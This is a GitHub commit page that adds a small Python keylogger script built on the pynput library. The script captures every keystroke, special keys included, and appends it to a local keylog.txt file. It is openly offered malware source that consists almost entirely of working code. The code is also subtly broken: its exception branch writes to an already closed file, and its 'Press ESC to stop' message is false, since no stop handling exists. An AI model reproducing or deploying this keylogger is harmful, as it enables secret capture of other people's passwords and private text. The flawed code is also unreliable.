We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent cf1ffe8 commit 55b9f95Copy full SHA for 55b9f95
Keylogger/keylogger.py
@@ -0,0 +1,19 @@
1
+from pynput import keyboard
2
+
3
+log_file = "keylog.txt"
4
5
+def on_press(key):
6
+ try:
7
+ with open(log_file, "a") as f:
8
+ f.write(f"{key.char}")
9
+ except AttributeError:
10
11
+ f.write(f"[{key}]") # Special keys like Enter, Shift
12
13
+def main():
14
+ print("[*] Keylogger started. Press ESC to stop.")
15
+ with keyboard.Listener(on_press=on_press) as listener:
16
+ listener.join()
17
18
+if __name__ == "__main__":
19
+ main()
0 commit comments